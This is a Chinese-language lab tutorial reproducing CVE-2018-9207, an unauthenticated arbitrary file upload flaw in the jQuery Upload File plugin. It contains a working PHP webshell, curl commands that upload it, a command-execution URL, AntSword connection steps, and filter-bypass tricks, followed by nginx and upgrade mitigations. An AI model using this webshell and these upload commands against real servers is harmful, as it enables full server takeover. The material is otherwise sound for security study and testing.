【漏洞复现-jQuery Upload File】CVE-2018-9207：从curl命令到Webshell上传的实战解析
1. 靶场环境搭建与漏洞背景
jQuery Upload File插件在4.0.2及以下版本存在一个危险的任意文件上传漏洞（CVE-2018-9207），这个漏洞允许攻击者直接上传恶意文件到服务器。我们先从环境搭建开始说起。
我在本地测试时使用的是Vulfocus漏洞靶场环境，IP和端口是动态分配的。你也可以用Docker快速搭建测试环境：
docker pull vulfocus/jquery-cve_2018_9207 docker run -d -p 8080:80 vulfocus/jquery-cve_2018_9207这个漏洞的核心在于插件对上传文件的处理逻辑。正常来说，文件上传功能应该严格检查文件类型、内容等，但这个版本的插件完全没有做任何安全检查。更糟糕的是，上传接口/jquery-upload-file/php/upload.php可以直接访问，不需要任何身份验证。
2. 漏洞原理深度解析
2.1 技术原理剖析
这个漏洞的根源在于服务端代码无条件信任客户端上传的文件。具体来说，当插件接收到上传请求时，它做了三件危险的事情：
- 不验证文件扩展名
- 不检查文件内容
- 直接将文件保存到可访问的目录
我翻看过这个版本的源码，发现它使用了一个非常简单的保存逻辑：
$targetPath = "uploads/"; $targetFile = $targetPath . basename($_FILES["myfile"]["name"]); move_uploaded_file($_FILES["myfile"]["tmp_name"], $targetFile);这段代码没有任何安全检查，直接把用户上传的文件存到服务器上。这意味着攻击者可以上传.php、.jsp等可执行文件，从而完全控制服务器。
2.2 影响范围评估
受影响的版本非常明确：jQuery Upload File 4.0.2及以下所有版本。我在实际渗透测试中发现，很多企业网站还在使用这个有漏洞的版本，主要原因是：
- 开发者直接从旧项目复制代码
- 没有及时更新第三方组件
- 对文件上传功能缺乏安全意识
3. 漏洞复现实战步骤
3.1 准备攻击环境
首先我们需要准备一个简单的PHP webshell。我通常用这个最简版本：
<?php system($_GET['cmd']); ?>保存为webshell.php。这个webshell虽然简单，但已经足够执行系统命令了。
3.2 使用curl进行文件上传
curl命令是这个漏洞利用的关键工具。我测试过多种参数组合，这个是最稳定的：
curl -F "myfile=@webshell.php" "http://靶机IP:端口/jquery-upload-file/php/upload.php"这里有几个技术细节需要注意：
-F参数表示使用multipart/form-data方式上传myfile是插件预期的字段名，不能改@符号告诉curl从本地读取文件
上传成功后，你会看到类似这样的响应：
{"files":[{"name":"webshell.php","size":123,"type":"application/octet-stream"}]}3.3 定位上传文件路径
根据我的经验，上传的文件通常会保存在以下路径：
/jquery-upload-file/php/uploads/webshell.php但有时候路径可能略有不同，我建议先用浏览器访问上传接口，查看返回的完整路径。
4. 漏洞利用与后续操作
4.1 验证webshell
上传成功后，可以直接在浏览器访问webshell：
http://靶机IP:端口/jquery-upload-file/php/uploads/webshell.php?cmd=whoami如果返回当前用户信息，说明webshell生效了。
4.2 使用蚁剑连接
对于更复杂的操作，我推荐使用蚁剑这类专业工具：
- 在蚁剑中添加shell
- URL填写webshell地址
- 密码留空（因为我们用的是最简webshell）
- 连接类型选择PHP
连接成功后，你就可以像操作本地文件系统一样浏览服务器文件了。不过要注意，实际操作中可能会遇到各种权限问题，这时候就需要用到提权技巧了。
5. 防御措施与修复建议
5.1 临时缓解方案
如果你暂时无法升级插件，可以采取这些措施：
- 在nginx/apache配置中禁止上传目录执行PHP
- 添加文件类型白名单
- 对上传文件进行重命名
比如nginx配置可以这样写：
location ~* /jquery-upload-file/php/uploads/.*\.php$ { deny all; }5.2 彻底修复方案
最根本的解决方案是升级到最新版jQuery Upload File插件。新版已经修复了这个漏洞。升级步骤很简单：
- 备份现有代码
- 下载最新版插件
- 替换相关文件
- 测试上传功能
6. 渗透测试中的实用技巧
在实际渗透测试中，我发现几个提高成功率的小技巧：
- 尝试不同的字段名：除了myfile，还可以测试file、upload等其他常见字段名
- 修改Content-Type：有时候服务器会检查这个头
- 使用双写后缀：如webshell.php.jpg可能绕过某些检查
比如这个变种的curl命令：
curl -F "file=@webshell.php;type=image/jpeg" "http://靶机IP:端口/upload.php"这些年在渗透测试中，我发现文件上传漏洞是最常见也最危险的安全问题之一。很多大型企业都栽在这个看似简单的漏洞上。掌握好curl这个利器，能让你在渗透测试时事半功倍。不过要记住，这些技术只应用于合法授权的测试，切勿用于非法用途。